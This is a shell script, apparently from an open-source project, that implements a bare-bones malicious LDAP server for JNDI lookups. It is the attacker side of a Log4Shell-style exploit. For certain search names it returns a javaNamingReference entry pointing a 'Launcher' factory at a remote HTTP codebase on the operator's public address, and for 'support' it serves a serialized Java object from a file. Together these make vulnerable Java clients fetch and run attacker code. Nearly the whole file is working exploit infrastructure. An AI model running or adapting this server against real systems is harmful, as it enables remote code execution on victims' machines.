| #!/bin/sh |
| |
| # Dirty LDAP server for JNDI lookup |
| # Copyright 2015-2021 Rivoreo |
| |
| # This Source Code Form is subject to the terms of the Mozilla Public |
| # License, v. 2.0. If a copy of the MPL was not distributed with this |
| # file, You can obtain one at https://mozilla.org/MPL/2.0/. |
| |
| LDAP_REQ_BIND=0x60 |
| LDAP_REQ_UNBIND=0x42 |
| LDAP_REQ_SEARCH=0x63 |
| LDAP_RES_BIND=0x61 |
| LDAP_RES_SEARCH_ENTRY=0x64 |
| LDAP_RES_SEARCH_RESULT=0x65 |
| |
| get_length() { |
| local buffer |
| #buffer="`xxd -g 2 -l 2`" |
| buffer="`dd bs=2 count=1 | xxd -g 2`" |
| [ -n "$buffer" ] |
| buffer="${buffer#*: ??}" |
| len="$((0x${buffer%% *}))" |
| if [ $len -lt 128 ]; then |
| echo $len |
| return |
| fi |
| len=$((len&0x7f)) |
| #buffer="`xxd -g $len -l $len`" |
| buffer="`dd bs=1 count=$len | xxd -g $len`" |
| [ -n "$buffer" ] |
| buffer="${buffer#*: ??}" |
| echo $((0x${buffer%% *})) |
| } |
| |
| next_byte() { |
| [ "$len" -gt 0 ] |
| remainings="${buffer#??}" |
| byte="${buffer%$remainings}" |
| buffer="$remainings" |
| len=$((len-1)) |
| } |
| |
| next_bytes() { |
| [ "$len" -gt $1 ] |
| local cut i=0 |
| while [ $i -lt $1 ]; do |
| cut="??$cut" |
| i=$((i+1)) |
| done |
| remainings="${buffer#$cut}" |
| bytes="${buffer%$remainings}" |
| buffer="$remainings" |
| len=$((len-$1)) |
| } |
| |
| next_uint32() { |
| next_bytes 4 |
| n=$((0x$bytes)) |
| } |
| |
| if [ "`printf '\\x30'`" = 0 ]; then |
| next_string() { |
| next_bytes $1 |
| string="`printf \"\`printf %s \\\"$bytes\\\" | sed -E 's/(..)/\\\\\\\\x\\\\1/g'\`\"`" |
| } |
| else |
| next_string() { |
| next_bytes $1 |
| string= |
| while [ -n "$bytes" ]; do |
| remainings=${bytes#??} |
| n=$((0x${bytes%$remainings})) |
| bytes=$remainings |
| string="$string`printf \"\\\\\`printf %03o $n\`\"`" |
| done |
| } |
| fi |
| |
| next_ldap_string() { |
| next_byte |
| [ $byte = 04 ] |
| next_byte |
| string_len=$((0x$byte)) |
| if [ $string_len -gt 127 ]; then |
| string_len=$((byte&0x7f)) |
| next_bytes $string_len |
| string_len=$((0x$bytes)) |
| fi |
| next_string $string_len |
| } |
| |
| encode_length() { |
| if [ $1 -gt 65535 ]; then |
| echo "too large" 1>&2 |
| exit 1 |
| elif [ $1 -gt 255 ]; then |
| encoded_length="82`printf %04x $1`" |
| encoding_len=3 |
| elif [ $1 -gt 127 ]; then |
| encoded_length="81`printf %02x $1`" |
| encoding_len=2 |
| else |
| encoded_length="`printf %02x $1`" |
| encoding_len=1 |
| fi |
| } |
| |
| encode_string() { |
| local s="$1" len=0 buffer= c wa |
| while [ -n "$s" ]; do |
| remainings="${s#?}" |
| c="${s%$remainings}" |
| s="$remainings" |
| # causes vim(1) syntax highlighting piao |
| #buffer="$buffer`printf %02x \"'$c\"`" |
| wa="'$c" |
| buffer="$buffer`printf %02x \"$wa\"`" |
| len=$((len+1)) |
| done |
| encode_length $len |
| encoded_string="04$encoded_length$buffer" |
| encoding_len=$((1+encoding_len+len)) |
| } |
| |
| encode_attribute() { |
| local attr_desc attr_len attr_val attr_val_set_len |
| encode_string "$1" |
| attr_desc=$encoded_string |
| attr_len=$encoding_len |
| encode_string "$2" |
| attr_val=$encoded_string |
| attr_val_set_len=$encoding_len |
| encode_length $attr_val_set_len |
| attr_len=$((attr_len+1+attr_val_set_len+encoding_len)) |
| attr_val_set_len=$encoded_length |
| encode_length $attr_len |
| encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val" |
| encoding_len=$((1+attr_len+encoding_len)) |
| } |
| |
| encode_attribute_from_file() { |
| local attr_desc attr_len attr_val attr_val_set_len |
| encode_string "$1" |
| attr_desc=$encoded_string |
| attr_len=$encoding_len |
| attr_val="`xxd -c 64 -g 64 \"$2\" | cut -c 10-137 | while read line; do printf %s \"\$line\"; done`" |
| attr_val_set_len=${#attr_val} |
| attr_val_set_len=$((attr_val_set_len/2)) |
| encode_length $attr_val_set_len |
| attr_val=04$encoded_length$attr_val |
| attr_val_set_len=$((1+encoding_len+attr_val_set_len)) |
| encode_length $attr_val_set_len |
| attr_len=$((attr_len+1+attr_val_set_len+encoding_len)) |
| attr_val_set_len=$encoded_length |
| encode_length $attr_len |
| encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val" |
| encoding_len=$((1+attr_len+encoding_len)) |
| } |
| |
| if [ "`printf '\\x30'`" = 0 ]; then |
| write_bytes() { |
| printf "`printf %s \"$1\" | sed -E 's/(..)/\\\\x\\1/g'`" |
| } |
| else |
| write_bytes() { |
| local buffer="$1" |
| while [ -n "$buffer" ]; do |
| remainings=${buffer#??} |
| n=$((0x${buffer%$remainings})) |
| buffer=$remainings |
| printf "\\`printf %03o $n`" |
| done | dd obs=256 |
| # the above dd(1) creates a send buffer for easier debugging |
| } |
| fi |
| |
| set -e |
| public_address="`ssh router-address -l root -i /root/.ssh/id_rsa_router_get_pppoe_ifconfig -T < /dev/null | grep -E '^ inet addr:([0-9]{1,3}\\.){3}[0-9]{1,3} ' | sed -r -e 's/^ +inet addr://' -e 's/ .+//'`" |
| trap "echo exiting 1>&2" EXIT |
| #set -u |
| while len="`get_length`" && [ "$len" -gt 0 ]; do |
| #buffer="`xxd -g $len -l $len`" |
| buffer="`dd bs=1 count=$len | xxd -g $len`" |
| [ -n "$buffer" ] |
| buffer="${buffer#*: }" |
| buffer="${buffer%% *}" |
| next_byte |
| [ "$byte" = 02 ] |
| next_byte |
| [ "$byte" -lt 5 ] |
| msg_id_len_encoded=$byte |
| msg_id_len=$((0x$msg_id_len_encoded)) |
| next_bytes $msg_id_len |
| msg_id="02$msg_id_len_encoded$bytes" |
| next_byte |
| case 0x$byte in |
| $LDAP_REQ_BIND) |
| [ $len -lt $((125-msg_id_len)) ] |
| write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_BIND#0x}070a010004000400" |
| ;; |
| $LDAP_REQ_SEARCH) |
| next_byte |
| #[ $byte -lt 128 ] |
| [ $byte -lt $((len-3-msg_id_len)) ] |
| next_ldap_string |
| [ $len -lt $((125-msg_id_len)) ] |
| printf "Searching for '%s'\\n" "$string" 1>&2 |
| case "$string" in |
| chicken|Chicken|Creeper|Skeleton) |
| encode_string "$string" |
| object_name="$encoded_string" |
| search_entry_len=$encoding_len |
| encode_attribute javaClassName Foo |
| attr1=$encoded_attribute |
| attributes_len=$encoding_len |
| encode_attribute javaCodeBase "http://$public_address:87/" |
| attr2=$encoded_attribute |
| attributes_len=$((attributes_len+encoding_len)) |
| encode_attribute objectClass javaNamingReference |
| attr3=$encoded_attribute |
| attributes_len=$((attributes_len+encoding_len)) |
| encode_attribute javaFactory Launcher |
| attr4=$encoded_attribute |
| attributes_len=$((attributes_len+encoding_len)) |
| encode_length $attributes_len |
| search_entry_len=$((search_entry_len+1+attributes_len+encoding_len)) |
| attributes_len=$encoded_length |
| encode_length $search_entry_len |
| msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len)) |
| search_entry_len=$encoded_length |
| encode_length $msg_len |
| msg_len=$encoded_length |
| write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2$attr3$attr4" |
| ;; |
| support) |
| encode_string "$string" |
| object_name="$encoded_string" |
| search_entry_len=$encoding_len |
| encode_attribute javaClassName Foo |
| attr1=$encoded_attribute |
| attributes_len=$encoding_len |
| |
| encode_attribute_from_file javaSerializedData /tmp/serialized-object |
| attr2=$encoded_attribute |
| #encode_string javaSerializedData |
| #attr2_desc=$encoded_string |
| #attr2_len=$encoding_len |
| #attr2_val=00 |
| #attr2_val_set_len=$((4+1)) |
| #encode_length $attr2_val_set_len |
| #attr2_len=$((attr2_len+1+attr2_val_set_len+encoding_len)) |
| #attr2_val_set_len=$encoded_length |
| #encode_length $attr2_len |
| #attr2="30$encoded_length${attr2_desc}31$attr2_val_set_len$attr2_val" |
| #encoding_len=$((1+attr2_len+encoding_len)) |
| |
| attributes_len=$((attributes_len+encoding_len)) |
| encode_length $attributes_len |
| search_entry_len=$((search_entry_len+1+attributes_len+encoding_len)) |
| attributes_len=$encoded_length |
| encode_length $search_entry_len |
| msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len)) |
| search_entry_len=$encoded_length |
| encode_length $msg_len |
| msg_len=$encoded_length |
| write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2" |
| ;; |
| esac |
| write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_SEARCH_RESULT#0x}070a010004000400" |
| ;; |
| $LDAP_REQ_UNBIND) |
| exit |
| ;; |
| *) |
| echo "Request $byte not supported" 1>&2 |
| exit |
| esac |
| done |